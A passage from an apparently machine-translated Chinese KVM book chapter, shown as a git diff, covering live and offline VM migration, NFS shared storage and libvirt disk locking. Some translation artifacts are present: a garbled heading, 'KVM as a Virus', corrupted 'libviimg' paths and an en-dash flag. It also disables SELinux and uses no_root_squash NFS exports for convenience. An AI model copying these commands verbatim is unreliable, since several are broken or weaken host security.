ich6**)并按下随后出现的**Remove**按钮,我们也可以在确认要删除此虚拟硬件设备后删除此虚拟硬件设备,如以下屏幕截图所示: - -![Figure 7.27 – Process for removing a VM hardware device: select it on the left-hand side and click Remove ](img/B14834_07_27.jpg) - -图 7.27-删除虚拟机硬件设备的流程:在左侧选择该设备,然后单击删除 - -如您所见,添加和删除 VM 硬件就像 1-2-3 一样简单。 我们以前在使用虚拟网络和存储([*第 4 章*](04.html#_idTextAnchor062),*Libvirt Networking*)时实际上触及过这个主题,但在这里,我们使用了 shell 命令和 XML 文件定义。 如果您想了解更多有关这方面的信息,请查看这些示例。 - -虚拟化关乎灵活性,能够将虚拟机放置在我们环境中的任何给定主机上是其中很大的一部分。 考虑到这一点,虚拟机迁移是虚拟化的功能之一,可用作虚拟化及其众多优势的营销海报。 虚拟机迁移到底是关于什么的? 这就是我们接下来要学习的。 - -# 迁移虚拟机 - -简而言之,迁移使您能够将虚拟机从一台物理机移动到另一台物理机,停机时间非常短或没有停机。 我们还可以移动虚拟机存储,这是一种资源占用类型的操作,需要仔细规划并在可能的情况下在下班后执行,这样才不会尽可能地影响其他虚拟机的性能。 - -有各种不同类型的迁移,如下所示: - -* 脱机(冷) -* 在线(实时) -* 暂停迁徙 - -还有各种不同类型的在线迁移,具体取决于您要移动的内容,如下所示: - -* 虚拟机的计算部分(将虚拟机从一台 KVM 主机移动到另一台 KVM 主机) -* 虚拟机的存储部分(将虚拟机文件从一个存储池移动到另一个存储池) -* 两者(同时将虚拟机从一个主机移动到另一个主机,并将存储池移动到另一个存储池) - -如果您只使用普通 KVM 主机,与使用 oVirt 或 Red Hat Enterprise Virtualization 相比,在支持哪些迁移方案方面存在一些差异。 如果您想要执行实时存储迁移,则不能直接在 KVM 主机上执行,但如果 VM 关闭,您可以很容易地执行此操作。 如果您需要实时存储迁移,则必须使用 oVirt 或 Red Hat Enterprise Virtualization。 - -我们讨论了**单根输入输出虚拟化**(**SR-IOV**)、**外围组件互连**(**PCI**)设备直通、**虚拟图形处理单元**(**vGPU**)以及类似的概念(在[*第 2 章*](02.html#_idTextAnchor029)、*KVM as a Virus。 和[*第四章*](04.html#_idTextAnchor062),*Libvirt Networking*)。 在 CentOS8 中,您不能实时迁移分配给正在运行的 VM 的 VM。* - -无论是什么用例,我们都需要意识到这样一个事实:迁移需要以`root`用户或属于`libvirt`用户组的用户身份执行(Red Hat 将其称为系统与用户`libvirt`会话)。 - -VM 迁移是您的武器库中有价值的工具有不同的原因。 其中一些原因是显而易见的,另一些则不那么明显。 让我们试着解释一下 VM 迁移的不同用例及其好处。 - -## 虚拟机迁移的优势 - -VM 实时迁移的最重要优势如下: - -* **延长正常运行时间和减少停机时间**-精心设计的虚拟化环境将为您的应用提供最长的正常运行时间。 -* **节能环保**-您可以在非工作时间根据虚拟机的负载和使用情况轻松将其整合到数量较少的虚拟机管理器。 迁移虚拟机后,您可以关闭未使用的虚拟机管理器。 -* **通过在不同的虚拟机管理器之间移动虚拟机来简化硬件/软件升级过程**-一旦您能够在不同的物理服务器之间自由移动您的虚拟机,就会获得无数好处。 - -VM 迁移需要进行适当的规划才能到位。 迁移需要满足一些基本要求。 让我们一个接一个地看一看。 - -生产环境的迁移要求如下: - -* 虚拟机应使用在共享存储上创建的存储池。 -* 在两个虚拟机管理器(源和目标虚拟机管理器)上,存储池的名称和虚拟磁盘的路径应该保持相同。 - -查看[*第 4 章*](04.html#_idTextAnchor062)、*Libvirt Networking*和[*第 5 章*](05.html#_idTextAnchor079)、*Libvirt Storage*,提醒您如何使用共享存储创建存储池。 - -和往常一样,这里有一些适用的规则。 这些内容相当简单,因此我们需要在开始迁移过程之前了解它们。 这些建议如下: - -* 可以使用在非共享存储上创建的存储池执行实时存储迁移。 您只需保持相同的存储池名称和文件位置,但在生产环境中仍建议使用共享存储。 -* 如果有非托管虚拟磁盘连接到使用**光纤通道**(**FC**)、**Internet 小型计算机系统接口**(**iSCSI**)、**逻辑卷管理器**(**LVM**)等的虚拟机,则两个虚拟机管理器上应提供相同的存储。 -* 虚拟机使用的虚拟网络应该在两个虚拟机管理器上都可用。 -* 为网络通信配置的网桥应该在两个虚拟机管理器上都可用。 -* 如果虚拟机管理器上的`libvirt`和`qemu-kvm`的主要版本不同,迁移可能会失败,但您应该能够将运行在具有较低版本`libvirt`或`qemu-kvm`的虚拟机管理器上的虚拟机迁移到具有较高版本的这些软件包的虚拟机管理器,而不会出现任何问题。 -* 源虚拟机管理器和目标虚拟机管理器上的时间都应同步。 强烈建议您使用相同的**网络时间协议**(**NTP**)或**精确时间协议**(**PTP**)服务器同步虚拟机管理器。 -* 重要的是,系统使用**域名系统**(**DNS**)服务器进行名称解析。 在`/etc/hosts`上添加主机详细信息将不起作用。 您应该能够使用`host`命令解析主机名。 - -在规划虚拟机迁移环境时,我们需要牢记一些前提条件。 在很大程度上,所有虚拟化解决方案的这些前提条件都是相同的。 让我们讨论这些前提条件,以及接下来如何为 VM 迁移设置我们的环境。 - -## 设置环境 - -让我们构建环境来执行 VM 迁移-包括离线迁移和实时迁移。 下图描述了使用共享存储运行虚拟机的两台标准 KVM 虚拟化主机: - -![Figure 7.28 – VMs on shared storage ](img/B14834_07_28.jpg) - -图 7.28-共享存储上的虚拟机 - -我们首先设置一个共享存储。 在本例中,我们将**网络文件系统**(**NFS**)用于共享存储。 我们将使用 NFS,因为它设置起来很简单,因此可以帮助您轻松地遵循迁移示例。 在实际生产中,建议使用基于 iSCSI 或基于 FC 的存储池。 当文件很大且 VM 执行繁重的 I/O 操作时,NFS 不是一个好的选择。 Gluster 是 NFS 的一个很好的替代方案,我们建议您尝试一下。 Gluster 在`libvirt`中集成良好。 - -我们将在 CentOS8 服务器上创建一个 NFS 共享。 它将托管在`/testvms`目录中,我们将通过 NFS 导出该目录。 服务器的名称为`nfs-01`。 (在我们的示例中,`nfs-01`的 IP 地址是`192.168.159.134`) - -1. 第一步是从`nfs-01`创建并导出`/testvms`目录,然后关闭 SELinux(查看[*第 5 章*](05.html#_idTextAnchor079)、*Libvirt Storage*、Cave 部分): - - ```sh - # mkdir /testvms - # echo '/testvms *(rw,sync,no_root_squash)' >> /etc/exports - ``` - -2. 然后,通过执行以下代码在防火墙中允许 NFS 服务: - - ```sh - # firewall-cmd --get-active-zones - public - interfaces: ens33 - # firewall-cmd --zone=public --add-service=nfs - # firewall-cmd --zone=public --list-all - ``` - -3. 启动 NFS 服务,如下所示: - - ```sh - # systemctl start rpcbind nfs-server - # systemctl enable rpcbind nfs-server - # showmount -e - ``` - -4. 确认可以从 KVM 虚拟机管理器访问共享。 在我们的例子中,它是`PacktPhy01`和`PacktPhy02`。 运行以下代码: - - ```sh - # mount 192.168.159.134:/testvms /mnt - ``` - -5. 如果挂载失败,请在 NFS 服务器上重新配置防火墙并重新检查挂载。 这可以通过使用以下命令来完成: - - ```sh - firewall-cmd --permanent --zone=public --add-service=nfs - firewall-cmd --permanent --zone=public --add-service=mountd - firewall-cmd --permanent --zone=public --add-service=rpc-bind - firewall-cmd -- reload - ``` - -6. 从两个虚拟机管理器验证 NFS 装入点后,即可卸载卷,如下所示: - - ```sh - # umount /mnt - ``` - -7. 在`PacktPhy01`和`PacktPhy02`上,创建名为`testvms`的存储池,如下所示: - - ```sh - # mkdir -p /var/lib/libviimg/testvms/ - # virsh pool-define-as --name testvms --type netfs --source-host 192.168.159.134 --source-path /testvms --target /var/lib/libviimg/testvms/ - # virsh pool-start testvms - # virsh pool-autostart testvms - ``` - -现在,在两个虚拟机管理器上创建并启动了`testvms`存储池。 - -在下一个示例中,我们将隔离迁移和虚拟机流量。 强烈建议您在生产环境中进行此隔离,特别是在执行大量迁移时,因为这会将要求苛刻的进程分流到单独的网络接口,从而释放其他拥塞的网络接口。 因此,这主要有两个原因: - -* **Network performance**: The migration of a VM uses the full bandwidth of the network. If you use the same network for the VM traffic network and the migration network, the migration will choke that network, thus affecting the servicing capability of the VM. You can control the migration bandwidth, but it will increase the migration time. - - 下面是我们创建隔离的方式: - - ```sh - PacktPhy01 -- ens36 (192.168.0.5) <--switch------> ens36 (192.168.0.6) -- PacktPhy02 -     ens37 -> br1 <-----switch------> ens37 -> br1 - ``` - - `ens192``PacktPhy01`和`PacktPhy02`上的接口用于迁移和管理任务。 它们分配了 IP 并连接到网络交换机。 在`PacktPhy01`和`PacktPhy02`上使用`ens224`创建`br1`桥。 `br1`未分配 IP 地址,仅用于 VM 流量(VM 连接到的交换机的上行链路)。 它还连接到(物理)网络交换机。 - -* **安全原因**:出于安全原因,始终建议您将管理网络和虚拟网络隔离。 您不希望您的用户扰乱您的管理网络,因为您可以在其中访问虚拟机管理器并进行管理。 - -我们将讨论三个最重要的场景-离线迁移、非实时迁移(挂起)和实时迁移(在线)。 然后,我们将把存储迁移作为一个需要额外规划和深谋远虑的单独场景来讨论。 - -## 离线迁移 - -顾名思义,在脱机迁移期间,VM 的状态将是,要么关闭,要么挂起。 然后,虚拟机将在目标主机上恢复或启动。 在此迁移模型中,`libvirt`仅将 VM 的 XML 配置文件从源 KVM 主机复制到目标 KVM 主机。 它还假设您已经创建了相同的共享存储池,并且可以在目标上使用。 作为迁移过程的第一步,您需要在参与的 KVM 虚拟机管理器上设置双向无密码 SSH 身份验证。 在我们的示例中,它们被称为`PacktPhy01`和`PacktPhy02`。 - -对于以下练习,请暂时禁用**安全增强型 Linux**(**SELinux**)。 - -在`/etc/sysconfig/selinux`中,使用您喜欢的编辑器修改以下代码行: - -```sh -SELINUX=enforcing -``` - -需要修改如下: - -```sh -SELINUX=permissive -``` - -此外,在命令行中,作为`root`,我们需要将 SELinux 模式临时设置为 PERMISSIVE,如下所示: - -```sh -# setenforce 0 -``` - -在`PacktPhy01`上,作为`root`运行以下命令: - -```sh -# ssh-keygen -# ssh-copy-id root@PacktPhy02 -``` - -在`PacktPhy02`上,作为`root`运行以下命令: - -```sh -# ssh-keygen -# ssh-copy-id root@PacktPhy01 -``` - -现在,您应该能够以`root`身份登录到这两个虚拟机管理器,而无需键入密码。 - -让我们将已经安装的`MasteringKVM01`从`PacktPhy01`离线迁移到`PacktPhy02`。 迁移命令的常规格式如下所示: - -```sh -# virsh migrate migration-type options name-of-the-vm-destination-uri -``` - -在`PacktPhy01`上,运行以下代码: - -```sh -[PacktPhy01] # virsh migrate --offline --verbose –-persistent MasteringKVM01 qemu+ssh://PacktPhy02/system -Migration: [100 %] -``` - -在`PacktPhy02`上,运行以下代码: - -```sh -[PacktPhy02] # virsh list --all -# virsh list --all -Id Name State ----------------------------------------------------- -- MasteringKVM01 shut off -[PacktPhy02] # virsh start MasteringKVM01 -Domain MasteringKVM01 started -``` - -当虚拟机位于共享存储上并且其中一台主机出现某种问题时,您也可以在另一台主机上手动注册虚拟机。 这意味着,在修复了最初出现问题的主机上的问题之后,您可能会在两个虚拟机管理器上注册相同的个虚拟机。 当您在没有像 oVirt 这样的集中式管理平台的情况下手动管理 KVM 主机时,就会发生这种情况,而这种情况是不允许的。 那么,如果你处在那种情况下会发生什么呢? 让我们讨论一下这个场景。 - -### 如果我在两个虚拟机管理器上意外启动虚拟机,该怎么办? - -意外地在两个虚拟机管理器上启动虚拟机可能是系统管理员的噩梦。 这可能会导致 VM 文件系统损坏,尤其是当 VM 内部的文件系统不支持群集时。 `libvirt`的开发人员对此进行了思考,并提出了一种锁定机制。 事实上,他们想出了两种锁定机制。 启用后,这些将阻止虚拟机在两个虚拟机管理器上同时启动。 - -两种锁定机构如下: - -* `lockd`:`lockd`利用`POSIX fcntl()`建议锁定功能。 它是由`virtlockd`守护进程启动的。 它需要一个共享文件系统(最好是 NFS),共享同一存储池的所有主机都可以访问该文件系统。 -* `sanlock`:这是由 oVirt 项目使用的。 它使用 DISK`paxos`算法来维护连续续订的租约。 - -对于仅支持`libvirt`的实现,我们更喜欢`lockd`而不是`sanlock`。 对于 oVirt,最好使用`sanlock`。 - -### 启用锁定 - -对于符合 POSIX 的基于映像的存储池,您可以通过在`/etc/libvirt/qemu.conf`或两个虚拟机管理器上取消注释以下命令来轻松启用`lockd`: - -```sh -lock_manager = "lockd" -``` - -现在,在两个虚拟机管理器上启用并启动`virtlockd`服务。 另外,在两个虚拟机管理器上重新启动`libvirtd`,如下所示: - -```sh -# systemctl enable virtlockd; systemctl start virtlockd -# systemctl restart libvirtd -# systemctl status virtlockd -``` - -在`PacktPhy02`上启动`MasteringKVM01`,如下所示: - -```sh -[root@PacktPhy02] # virsh start MasteringKVM01 -Domain MasteringKVM01 started -``` - -在`PacktPhy01`上启动相同的`MasteringKVM01`VM,如下所示: - -```sh -[root@PacktPhy01] # virsh start MasteringKVM01 -error: Failed to start domain MasteringKVM01 -error: resource busy: Lockspace resource '/var/lib/libviimg/ testvms/MasteringKVM01.qcow2' is locked -``` - -启用`lockd`的另一种方法是使用磁盘文件路径的散列。 锁定保存在通过 NFS 或类似共享导出到虚拟机管理器的共享目录中。 当您有使用多路径**逻辑单元号**(**LUN**)创建和连接的虚拟磁盘时,这非常有用。 在这种情况下不能使用`fcntl()`。 我们建议您使用下面详细介绍的方法来启用锁定。 - -在 NFS 服务器上,运行以下代码(确保您首先没有从该 NFS 服务器运行任何虚拟机!) - -```sh -mkdir /flockd -# echo "/flockd *(rw,no_root_squash)" >> /etc/exports -# systemctl restart nfs-server -# showmount -e -Export list for : -/flockd * -/testvms * -``` - -将以下代码添加到`/etc/fstab`中的两个虚拟机管理器中,并键入其余命令: - -```sh -# echo "192.168.159.134:/flockd /var/lib/libvirt/lockd/flockd nfs rsize=8192,wsize=8192,timeo=14,intr,sync" >> /etc/fstab -# mkdir -p /var/lib/libvirt/lockd/flockd -# mount -a -# echo 'file_lockspace_dir = "/var/lib/libvirt/lockd/flockd"' >> /etc/libvirt/qemu-lockd.conf -``` - -重新启动两个虚拟机管理器,并在重新启动后,验证`libvirtd`和`virtlockd`守护程序是否在两个虚拟机管理器上正确启动,如下所示: - -```sh -[root@PacktPhy01 ~]# virsh start MasteringKVM01 -Domain MasteringKVM01 started -[root@PacktPhy02 flockd]# ls -36b8377a5b0cc272a5b4e50929623191c027543c4facb1c6f3c35bacaa745 5ef -51e3ed692fdf92ad54c6f234f742bb00d4787912a8a674fb5550b1b826343 dd6 -``` - -`MasteringKVM01`有两个虚拟磁盘,一个从 NFS 存储池创建,另一个直接从 LUN 创建。 如果我们尝试在`PacktPhy02`虚拟机管理器主机上为其通电,`MasteringKVM01`将无法启动,如以下代码片段所示: - -```sh -[root@PacktPhy02 ~]# virsh start MasteringKVM01 -error: Failed to start domain MasteringKVM01 -error: resource busy: Lockspace resource '51e3ed692fdf92ad54c6f234f742bb00d4787912a8a674fb5550b1b82634 3dd6' is locked -``` - -使用跨多个主机系统可见的 LVM 卷时,最好基于与每个卷关联的**通用唯一标识符**(**UUID**)进行锁定,而不是基于其路径。 设置以下路径会导致`libvirt`对 LVM 执行基于 UUID 的锁定: - -```sh -lvm_lockspace_dir = "/var/lib/libvirt/lockd/lvmvolumes" -``` - -使用跨多个主机系统可见的 SCSI 卷时,最好根据与每个卷关联的 UUID(而不是其路径)进行锁定。 设置以下路径会导致`libvirt`对 SCSI 执行基于 UUID 的锁定: - -```sh -scsi_lockspace_dir = "/var/lib/libvirt/lockd/scsivolumes" -``` - -与`file_lockspace_dir`一样,前面的目录也应该与管理器共享。 - -重要音符 - -如果由于锁定错误而无法启动 VM,只需确保它们没有在任何地方运行,然后删除锁定文件。 再次启动虚拟机。 在`lockd`主题中,我们稍微偏离了迁移。 让我们回到迁移问题上来。 - -## 实时或在线迁移 - -在这种类型的迁移中,VM 在源主机上运行时被迁移到目标主机。 该过程对于使用虚拟机的用户是不可见的。 他们甚至不会知道他们正在使用的虚拟机已经转移到了另一台主机上。 实时迁移是使虚拟化如此流行的主要功能之一。 - -KVM 中的迁移实施不需要来自 VM 的任何支持。 这意味着您可以实时迁移任何虚拟机,而不管它们使用的是哪种操作系统。 KVM 实时迁移的一个独特功能是它几乎完全独立于硬件。 理想情况下,您应该能够将运行在配备**Advanced Micro Devices**(**AMD**)处理器的虚拟机管理器上的虚拟机实时迁移到基于英特尔的虚拟机管理器。 - -我们并不是说这在 100%的情况下都有效,也不是说我们以任何方式建议使用这种类型的混合环境,但在大多数情况下,这应该是可能的。 - -在我们开始这个过程之前,让我们更深入地了解一下幕后发生的事情。 当我们进行实时迁移时,我们是在用户访问实时虚拟机时移动它。 这意味着当您进行实时迁移时,用户不会感觉到 VM 可用性受到任何干扰。 - -实时迁移是一个由五个阶段组成的复杂过程,即使这些过程中没有一个向系统管理员公开。 `libvirt`将在发出 VM 迁移操作后执行必要的工作。 下面的列表说明了 VM 迁移所经历的阶段: - -1. **准备目标**:当您启动实时迁移时,源`libvirt`(`SLibvirt`)将与目标`libvirt`(`DLibvirt`)联系,提供要实时转移的 VM 的详细信息。 `DLibvirt`将此信息传递给底层 QEMU,并提供相关选项以启用实时迁移。 QEMU 将通过在`pause`模式下启动 VM 来启动实际的实时迁移过程,并将在**传输控制协议**(**TCP**)端口上启动侦听 VM 数据。 一旦目的地准备就绪,`DLibvirt`将通知`SLibvirt`,并提供 QEMU 的详细信息。 此时,源位置的 QEMU 已准备好传输 VM 并连接到目标 TCP 端口。 -2. **Transferring the VM**: When we say transferring the VM, we are not transferring the whole VM; only the parts that are missing at the destination are transferred—for example, the memory and the state of the virtual devices (VM state). Other than the memory and the VM state, all other virtual hardware (virtual network, virtual disks, and virtual devices) is available at the destination itself. Here is how QEMU moves the memory to the destination: - - A)虚拟机将在源端继续运行,在目标端以`pause`模式启动相同的虚拟机。 - - B)它会一次性将 VM 使用的所有内存转移到目的地。 传输速度取决于网络带宽。 假设虚拟机使用 10**千兆字节**(**GiB**);使用**安全复制协议**(**SCP**)将 10 GiB 的数据传输到目的地所需的时间相同。 在默认模式下,它将使用全部带宽。 这就是我们将管理网络与 VM 流量网络分离的原因。 - - C)一旦整个内存到达目的地,QEMU 就开始传输脏页(尚未写入磁盘的页)。 如果它是一个繁忙的虚拟机,脏页的数量将会很多,移动它们需要时间。 请记住,脏页将始终存在,并且在运行的 VM 上不存在零脏页的状态。 因此,当脏页达到较低阈值(50 页或更少)时,QEMU 将停止传输脏页。 - - QEMU 还会考虑个其他因素,比如迭代次数、生成的脏页的数量等等。 这也可以由以毫秒为单位的`migrate-setmaxdowntime`确定。 - -3. **停止源主机上的 VM**:一旦脏页数量达到上述阈值,QEMU 将停止源主机上的 VM。 它还将同步虚拟磁盘。 -4. **转移 VM 状态**:在此阶段,QEMU 将尽快将 VM 的虚拟设备和剩余脏页的状态转移到目的地。 在这个阶段我们不能限制带宽。 -5. **继续 VM**:在目的地,VM 将从暂停状态恢复。 虚拟**网络接口控制器**(**NIC**)变为活动,网桥将向发送免费的**地址解析协议**(**ARPS**)来宣布更改。 收到网桥的通知后,网络交换机将更新其各自的 ARP 缓存,并开始将 VM 的数据转发到新的虚拟机管理器。 - -请注意,*步骤 3、4 和 5*将在毫秒内完成。 如果发生一些错误,QEMU 将中止迁移,并且 VM 将继续在源虚拟机管理器上运行。 在整个迁移过程中,来自两个参与虚拟机管理器的`libvirt`服务将监控迁移过程。 - -我们的名为`MasteringKVM01`的虚拟机现在可以在`PacktPhy01`上安全运行,并启用了`lockd`。 我们将从`MasteringKVM01`实时迁移到`PacktPhy02`。 - -我们需要打开用于迁移的必要 TCP 端口。 您只需要在目标服务器上执行此操作,但最好在您的整个环境中执行此操作,这样您就不必在将来需要时逐个对这些配置更改进行微观管理。 基本上,您必须对默认分区(在我们的示例中为`public`分区)使用以下`firewall-cmd`命令打开所有参与的虚拟机管理器上的端口: - -```sh -# firewall-cmd --zone=public --add-port=49152-49216/tcp --permanent -``` - -检查两台服务器上的名称解析,如下所示: - -```sh -[root@PacktPhy01 ~] # host PacktPhy01 -PacktPhy01 has address 192.168.159.136 -[root@PacktPhy01 ~] # host PacktPhy02 -PacktPhy02 has address 192.168.159.135 -[root@PacktPhy02 ~] # host PacktPhy01 -PacktPhy01 has address 192.168.159.136 -[root@PacktPhy02 ~] # host PacktPhy02 -PacktPhy02 has address 192.168.159.135 -``` - -检查并验证连接的所有个虚拟磁盘在目标上是否都可用,这些虚拟磁盘位于个相同路径上,具有相同的存储池名称。 这也适用于连接的非托管(iSCSI 和 FC LUN 等)虚拟磁盘。 - -检查并验证目标上可用的 VM 使用的所有网桥和虚拟网络。 之后,我们可以通过运行以下代码开始迁移过程: - -```sh -# virsh migrate --live MasteringKVM01 qemu+ssh://PacktPhy02/system --verbose --persistent -Migration: [100 %] -``` - -我们的虚拟机仅使用 4,096**MB**(**MB**)内存,因此所有五个阶段都在几秒钟内完成。 `--persistent`选项是可选的,但我们建议添加此选项。 - -这是迁移过程中`ping`的输出(`10.10.48.24`是`MasteringKVM01`的 IP 地址): - -```sh -# ping 10.10.48.24 -PING 10.10.48.24 (10.10.48.24) 56(84) bytes of data. -64 bytes from 10.10.48.24: icmp_seq=12 ttl=64 time=0.338 ms -64 bytes from 10.10.48.24: icmp_seq=13 ttl=64 time=3.10 ms -64 bytes from 10.10.48.24: icmp_seq=14 ttl=64 time=0.574 ms -64 bytes from 10.10.48.24: icmp_seq=15 ttl=64 time=2.73 ms -64 bytes from 10.10.48.24: icmp_seq=16 ttl=64 time=0.612 ms ---- 10.10.48.24 ping statistics --- -17 packets transmitted, 17 received, 0% packet loss, time 16003ms -rtt min/avg/max/mdev = 0.338/0.828/3.101/0.777 ms -``` - -如果收到以下错误消息,请在连接的虚拟磁盘上将`cache`更改为`none`: - -```sh -# virsh migrate --live MasteringKVM01 qemu+ssh://PacktPhy02/system --verbose -error: Unsafe migration: Migration may lead to data corruption if disks use cache != none -# virt-xml MasteringKVM01 --edit --disk target=vda,cache=none -``` - -`target`是要更改缓存的磁盘。 您可以通过运行以下命令找到目标名称: - -```sh -virsh dumpxml MasteringKVM01 -``` - -您可以在执行实时迁移时尝试更多选项,如下所示: - -* `--undefine domain`:用于从 KVM 主机删除 KVM 域的选项。 -* `--suspend domain`:挂起 KVM 域-即暂停 KVM 域,直到我们将其取消挂起。 -* `--compressed`:当我们执行 VM 迁移时,此选项使我们能够压缩内存。 这意味着基于-`comp-methods`参数的迁移过程会更快。 -* `--abort-on-error`:如果迁移过程抛出错误,则会自动停止。 这是一个安全的默认选项,因为它将在迁移过程中可能发生任何类型的损坏的情况下提供帮助。 -* `--unsafe`:有点像与`–abort-on-error`选项相反的极点。 此选项将不惜一切代价强制迁移,即使在出现错误、数据损坏或任何其他不可预见的情况下也是如此。 请非常小心地使用此选项-不要经常使用它,或者在您希望 100%确保 VM 数据一致性是关键前提条件的任何情况下都不要使用它。 - -您可以在 RHEL 7-虚拟化部署和管理指南中阅读有关这些选项的更多信息(您可以在本章末尾的*进一步阅读*部分中找到链接)。 此外,`virsh`命令还支持以下选项: - -* `virsh migrate-setmaxdowntime `:迁移虚拟机时,不可避免地会出现虚拟机在短时间内不可用的情况。 例如,由于切换过程的原因,当我们将虚拟机从一台主机迁移到另一台主机,并且我们刚刚达到状态平衡点时(即,当源主机和目标主机具有相同的虚拟机内容,并且准备从源主机清单中删除源虚拟机并使其在目标主机上运行时),就可能发生这种情况。 基本上,当源虚拟机暂停并终止,而目标主机虚拟机取消暂停并继续时,会发生一小段暂停。 通过使用此命令,KVM 堆栈正在尝试估计此停止阶段将持续多长时间。 这是一个可行的选择,特别是对于非常繁忙的虚拟机,因此在我们迁移它们时会大量更改它们的内存内容。 -* `virsh migrate-setspeed bandwidth`:我们可以将其视为准**服务质量**(**QoS**)选项。 通过使用它,我们可以设置提供给迁移过程的带宽量(以 MiB/s 为单位)。 如果我们的网络繁忙(例如,如果我们有多个**虚拟局域网**(**VLAN**)跨越同一物理网络,并且我们因此有带宽限制,则这是一个非常好的选择。 较低的数字将减慢迁移过程。 -* `virsh migrate-getspeed `:我们可以将其视为`migrate-setspeed`命令的*获取信息*选项,以检查我们为`virsh migrate-setspeed`命令分配了哪些设置。 - -如您所见,从技术角度来看,迁移是一个复杂的过程,并且有多个不同类型和负载的附加配置选项,您可以将其用于管理目的。 话虽如此,但它仍然是虚拟化环境的一项重要功能,很难想象没有它就可以工作。 - -# 摘要 - -在本章中,我们介绍了创建虚拟机和配置虚拟机硬件的不同方法。 我们还详细介绍了虚拟机迁移,以及实时和离线虚拟机迁移。 在下一章中,我们将使用虚拟机磁盘、虚拟机模板和快照。 理解这些概念非常重要,因为它们将使您更轻松地管理虚拟化环境。 - -# 问题 - -1. 我们可以使用哪些命令行工具在`libvirt`中部署虚拟机? -2. 我们可以使用哪些 GUI 工具在`libvirt`中部署虚拟机? -3. 在配置我们的虚拟机时,我们应该注意哪些配置方面? -4. 在线和离线虚拟机迁移有什么不同? -5. 虚拟机迁移和虚拟机存储迁移有什么不同? -6. 我们如何配置迁移过程的带宽? - -# 进一步阅读 - -有关本章内容的更多信息,请参阅以下链接: - -* 使用`virt-manager`管理虚拟机:[https://virt-manager.org/](https://virt-manager.org/) -* OVirt-安装 Linux 虚拟机:[HTTPS://www.ovirt.org/Documentation/VMM-GUIDE/CHAP-INSTALLING_LINUX_VIRTUAL_Machines.html](https://www.ovirt.org/documentation/vmm-guide/chap-Installing_Linux_Virtual_Machines.html) -* 克隆虚拟机:[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/configuring_and_managing_virtualization/cloning-virtual-machines_configuring-and-managing-virtualization](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/configuring_and_managing_virtualization/cloning-virtual-machines_configuring-and-managing-virtualization) -* 迁移虚拟机:[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/configuring_and_managing_virtualization/migrating-virtual-machines_configuring-and-managing-virtualization](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/configuring_and_managing_virtualization/migrating-virtual-machines_configuring-and-managing-virtualization) -* 高速缓存:[https://access.redhat.com/Documentation/en-us/red_hat_Enterprise_linux/7/HTML/Virtualization_Tuning_and_Optimization_Guide/Sect-Virtualization_Tuning_Optimization_Guide-block io-caching](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/virtualization_tuning_and_optimization_guide/sect-virtualization_tuning_optimization_guide-blockio-caching) -* NUMA 和内存位置对 Microsoft SQL Server 2019 性能的影响:[https://www.daaam.info/Downloads/Pdfs/proceedings/proceedings_2019/049.pdf](https://www.daaam.info/Downloads/Pdfs/proceedings/proceedings_2019/049.pdf) -* 虚拟化部署和管理指南:[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/virtualization_deployment_and_administration_guide/index](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/virtualization_deployment_and_administration_guide/index)* \ No newline at end of file diff --git a/docs/master-kvm-virtual/08.md b/docs/master-kvm-virtual/08.md deleted file mode 100644 index 441c1e1c..00000000 --- a/docs/master-kvm-virtual/08.md +++ /dev/null @@ -1,1098 +0,0 @@ -# 八、创建和修改虚拟机磁盘、模板和快照 - -本章是本书第二部分的结尾,其中我们重点介绍了各种`libvirt`功能-安装**基于内核的虚拟机**(**KVM**)作为解决方案、`libvirt`网络和存储、虚拟设备和显示协议、安装**虚拟机**(**虚拟机**)并将其配置为…。 所有这些都是为本书下一部分将要介绍的内容做准备,下一部分是关于自动化、定制和编排的。 为了让我们能够了解这些概念,我们现在必须将重点转向 VM 及其高级操作-修改、模板化、使用快照等。 这些主题中的一些经常会在本书的后面被引用,并且由于生产环境中的各种业务原因,这些主题中的一些甚至会更有价值。 让我们潜入水中掩护他们吧。 - -在本章中,我们将介绍以下主题: - -* 使用`libguestfs`工具修改虚拟机映像 -* VM 模板 -* `virt-builder`和`virt-builder`报告 -* 快照 -* 使用快照时的使用情形和最佳做法 - -# 使用 libguestfs 工具修改虚拟机映像 - -随着我们在本书中的重点更多地转向向外扩展,我们必须在本书的这一部分结束时介绍一系列在我们开始构建更大的环境时将派上用场的命令堆栈。 对于更大的环境,我们确实需要各种自动化、定制和编排工具,我们将在下一章开始讨论这些工具。 但首先,我们必须专注于我们已经拥有的各种定制实用程序。 这些命令行实用程序对于许多不同类型的操作非常有用,从`guestfish`(用于访问和修改 VM 文件)到`virt-p2v`(**物理到虚拟**(**P2V**)转换)和`virt-sysprep`(在模板化和克隆之前转换为*sysprep*VM)。 因此,让我们以一种工程的方式来探讨这些实用程序的主题--一步一步来。 - -`libguestfs`是用于处理 VM 磁盘的实用程序的命令行库。 该库由大约 30 个不同的命令组成,其中一些命令包含在下面的列表中: - -* `guestfish` -* `virt-builder` -* `virt-builder-repository` -* `virt-copy-in` -* `virt-copy-out` -* `virt-customize` -* `virt-df` -* `virt-edit` -* `virt-filesystems` -* `virt-rescue` -* `virt-sparsify` -* `virt-sysprep` -* `virt-v2v` -* `virt-p2v` - -我们将从五个最重要的命令开始-`virt-v2v`、`virt-p2v`、`virt-copy-in`、`virt-customize`和`guestfish`。 我们将在讨论 VM 模板时介绍`virt-sysprep`,本章中有专门介绍`virt-builder`的单独部分,因此我们暂时跳过这些命令。 - -## 帖子主题:Re:Колибри - -假设您有一个基于 Hyper-V、Xen 或 VMware 的 VM,并且您希望将它们转换为 KVM、oVirt、Red Hat Enterprise 虚拟化或 OpenStack。 在这里,我们只使用基于 VMware 的 VM 作为示例,并将其转换为将由`libvirt`实用程序管理的 KVM。 由于 VMware 平台的 6.0+版本中引入了一些更改(包括集成了**ESX 的**(**ESXi**)虚拟机管理器端以及 vCenter 服务器端和插件端),因此导出 VM 并将其转换为 KVM(使用 vCenter 服务器或 ESXi 主机作为源)将非常耗时。 因此,将 VMware 虚拟机转换为 KVM 的最简单方法如下: - -1. 关闭 vCenter 或 ESXi 主机中的虚拟机。 -2. 将 VM 导出为**Open Virtualization 